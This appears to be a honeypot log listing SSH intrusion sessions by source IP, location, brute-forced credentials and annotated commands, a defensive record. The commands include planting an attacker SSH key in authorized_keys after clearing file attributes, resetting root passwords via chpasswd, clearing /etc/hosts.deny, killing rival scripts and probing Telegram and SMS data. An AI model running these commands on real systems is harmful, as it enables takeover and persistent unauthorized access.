$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 cipher_root_38 (219.78.63.235) β€” Central, Hong Kong Β· 1 session Β· 9 cmds
2026-04-25 21:10 EDT Β· as root/root
root/root login β†’ /ip cloud print network topology β†’ ifconfig interface enumeration β†’ uname -a OS fingerprinting β†’ cat /proc/cpuinfo hardware profiling β†’ ps grep miner process detection β†’ Telegram data directory reconnaissance β†’ locate specific hash scan β†’ echo Hi command execution
$ /ip cloud print
$ ifconfig
↳ network mapping
$ uname -a
↳ OS/kernel identification
$ cat /proc/cpuinfo
↳ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
🎭 wok_root_7 (101.126.54.245) β€” Chaowai, China Β· 1 session Β· 1 cmd
2026-04-25 20:32 EDT Β· as root/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 carnival_root (170.233.151.14) β€” MarabΓ‘, Brazil Β· 2 sessions Β· 21 cmds
2026-03-26 18:00 EDT Β· as oracle/oracle02!, root/qwerty
file attribute tampering β†’ SSH key persistence β†’ CPU profiling β†’ execute from /tmp β†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—2
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—2
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo "root:MVwWX48LUHSP"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
↳ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 liberty_sol_2 (87.121.84.41) β€” Los Angeles, United States Β· 13 sessions Β· 13 cmds
2026-04-25 17:26 EDT Β· as admin/admin, deploy/deploy, guest/guest
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—13
🎭 panda_root (47.112.121.84) β€” Shenzhen, China Β· 2 sessions Β· 2 cmds
2026-04-25 16:07 EDT Β· as oracle/oracle, ubuntu/ubuntu
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a Γ—2
↳ OS/kernel identification
🎭 phantom_root_16 (171.244.37.96) β€” Hanoi, Vietnam Β· 1 session Β· 20 cmds
2026-04-25 17:00 EDT Β· as user/user
SSH brute-force with hardcoded password β†’ disable read-only attribute on .ssh β†’ purge and recreate .ssh directory β†’ verify CPU model and count cores β†’ audit memory usage β†’ inspect ls binary hash β†’ check existing crontab β†’ confirm architecture via uname β†’ profile hardware for mining viability.
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "user\n6EAoAr95F3ie\n6EAoAr95F3ie"|passwd|bash
$ Enter new UNIX password:
$ echo "user\n6EAoAr95F3ie\n6EAoAr95F3ie\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 eagle_root_9 (40.121.200.75) β€” Boydton, United States Β· 1 session Β· 2 cmds
2026-04-25 15:32 EDT Β· as oracle/M3gaP33!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 monsoon_root_3 (168.144.65.151) β€” Bengaluru, India Β· 1 session Β· 1 cmd
2026-04-25 15:05 EDT Β· as root/toor
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m
↳ obfuscated system check
🎭 cowboy_sol_6 (162.243.116.161) β€” Secaucus, United States Β· 4 sessions Β· 4 cmds
2026-04-25 14:42 EDT Β· as sol/sol, solana/123456, solana/solana
Ran uname 2x across 2 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—4
↳ obfuscated system check
🎭 silk_root_2 (103.100.69.141) β€” Guancheng, China Β· 1 session Β· 2 cmds
2026-04-25 14:33 EDT Β· as oracle/M3gaP33!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 panda_root_2 (8.134.129.191) β€” Guangzhou, China Β· 1 session Β· 1 cmd
2026-04-25 14:09 EDT Β· as test/test
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 clog_sol_4 (176.65.132.153) β€” Eygelshoven, The Netherlands Β· 14 sessions Β· 14 cmds
2026-04-25 12:47 EDT Β· as admin/admin123, deploy/deploy123, guest/guest
Ran uname 2x across 2 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—14
🎭 ramen_root_2 (144.48.8.10) β€” Taitō City, Japan Β· 1 session Β· 2 cmds
2026-04-25 12:20 EDT Β· as oracle/Oracle!@#$
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 specter_root_30 (171.244.141.86) β€” Hanoi, Vietnam Β· 1 session Β· 8 cmds
2026-04-25 12:20 EDT Β· as oracle/Oracle31!
chattr -ia .ssh β†’ rm -rf .ssh β†’ mkdir .ssh β†’ echo ssh-rsa key β†’ cat /proc/cpuinfo | grep name | wc -l β†’ uname -a β†’ lscpu | grep Model β†’ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 ghost_root_40 (186.6.185.60) β€” Santo Domingo, Dominican Republic Β· 1 session Β· 1 cmd
2026-04-25 10:48 EDT Β· as root/admin123
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 dragon_root_6 (121.41.116.31) β€” Hangzhou, China Β· 2 sessions Β· 2 cmds
2026-04-12 06:09 EDT Β· as root/1234, root/123456
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a Γ—2
↳ OS/kernel identification
🎭 panda_root_3 (113.120.108.44) β€” Jinan, China Β· 1 session Β· 1 cmd
2026-04-25 04:45 EDT Β· as user/user
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 windmill_root_3 (192.109.200.238) β€” Eygelshoven, The Netherlands Β· 6 sessions Β· 6 cmds
2026-04-25 04:09 EDT Β· as root/123456, root/admin, root/admin123
echo (repeated echo 6x)
$ echo ok Γ—6
🎭 wok_root_8 (8.129.229.143) β€” Shenzhen, China Β· 2 sessions Β· 2 cmds
2026-04-22 09:07 EDT Β· as tomcat/tomcat, ubuntu/ubuntu
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a Γ—2
↳ OS/kernel identification
🎭 lotus_root_6 (49.205.149.96) β€” Bengaluru, India Β· 1 session Β· 2 cmds
2026-04-25 02:34 EDT Β· as oracle/oracle7
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 panda_root_4 (120.55.114.237) β€” Hangzhou, China Β· 1 session Β· 1 cmd
2026-04-25 00:55 EDT Β· as oracle/Oracle@123
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 shadow_root_16 (202.51.214.99) β€” Jakarta, Indonesia Β· 3 sessions Β· 24 cmds
2026-03-25 15:18 EDT Β· as oracle/oracle18, oracle/oracle5, user/user
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—3
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—3
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "user\nHlzKryl3kUoj\nHlzKryl3kUoj"|passwd|bash
$ Enter new UNIX password:
$ echo "user\nHlzKryl3kUoj\nHlzKryl3kUoj\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 silk_root_3 (117.50.130.194) β€” Beijing, China Β· 1 session Β· 1 cmd
2026-04-24 23:46 EDT Β· as root/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 beefeater_root_4 (161.35.172.206) β€” Slough, United Kingdom Β· 2 sessions Β· 2 cmds
2026-04-22 18:52 EDT Β· as oracle/oracle123, user/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a Γ—2
↳ OS/kernel identification
🎭 dragon_db (120.79.196.63) β€” Shenzhen, China Β· 1 session Β· 1 cmd
2026-04-24 22:07 EDT Β· as oracle/oracle
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 frost_root (5.188.25.4) β€” St Petersburg, Russia Β· 27 sessions Β· 27 cmds
2026-04-24 20:31 EDT Β· as admin/admin, admin/admin123, admin/password
Ran uname 2x across 2 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—27
🎭 ghost_root_8 (116.193.191.209) β€” Cicurug, Indonesia Β· 13 sessions Β· 13 cmds
2026-04-24 18:14 EDT Β· as admin/admin, deploy/deploy, deploy/deploy123
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—13
🎭 autobahn_root_9 (45.144.233.56) β€” Frankfurt Am Main, Germany Β· 1 session Β· 2 cmds
2026-04-24 18:46 EDT Β· as oracle/oracle
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 chai_root_4 (47.247.99.155) β€” Navi Mumbai, India Β· 2 sessions Β· 21 cmds
2026-04-23 08:06 EDT Β· as oracle/oracle7, root/qwerty
file attribute tampering β†’ SSH key persistence β†’ CPU profiling β†’ execute from /tmp β†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—2
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—2
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo "root:QFNHqrFs4Sns"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
↳ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 cipher_root_39 (103.187.146.90) β€” Jakarta, Indonesia Β· 1 session Β· 19 cmds
2026-04-24 18:00 EDT Β· as root/qwerty
file attribute tampering β†’ SSH key persistence β†’ CPU profiling β†’ execute from /tmp β†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo "root:ZyxWzUBJuftV"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
↳ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 seoul_root_4 (27.119.7.6) β€” Hwaseong-si, South Korea Β· 1 session Β· 19 cmds
2026-04-24 17:24 EDT Β· as root/qwerty
file attribute tampering β†’ SSH key persistence β†’ CPU profiling β†’ execute from /tmp β†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo "root:QYgGh1oKHFt5"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
↳ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 jade_root_5 (1.30.199.218) β€” Zhangzhou, China Β· 1 session Β· 19 cmds
2026-04-24 17:17 EDT Β· as root/qwerty
cd ~; chattr -ia .ssh β†’ cd ~ && rm -rf .ssh && mkdir .ssh β†’ echo "root:8Zn4Fc1OetOt"|chpasswd|bash β†’ cat /proc/cpuinfo | grep name | wc -l β†’ cat /proc/cpuinfo | grep model | grep name | wc -l β†’ free -m | grep Mem β†’ ls -
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo "root:8Zn4Fc1OetOt"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
↳ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 tulip_root_2 (45.153.34.97) β€” Eygelshoven, Netherlands Β· 14 sessions Β· 14 cmds
2026-04-24 16:30 EDT Β· as admin/123456, admin/admin, guest/guest
Ran uname 2x across 2 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—14
🎭 pretzel_root (94.26.106.229) β€” Kriftel, Germany Β· 16 sessions Β· 16 cmds
2026-04-24 14:14 EDT Β· as admin/123456, admin/admin, deploy/deploy123
Ran uname 3x across 3 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—16
🎭 wraith_root_29 (103.146.159.173) β€” Sheung Wan, Hong Kong Β· 1 session Β· 2 cmds
2026-04-24 12:48 EDT Β· as oracle/Oracle21
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
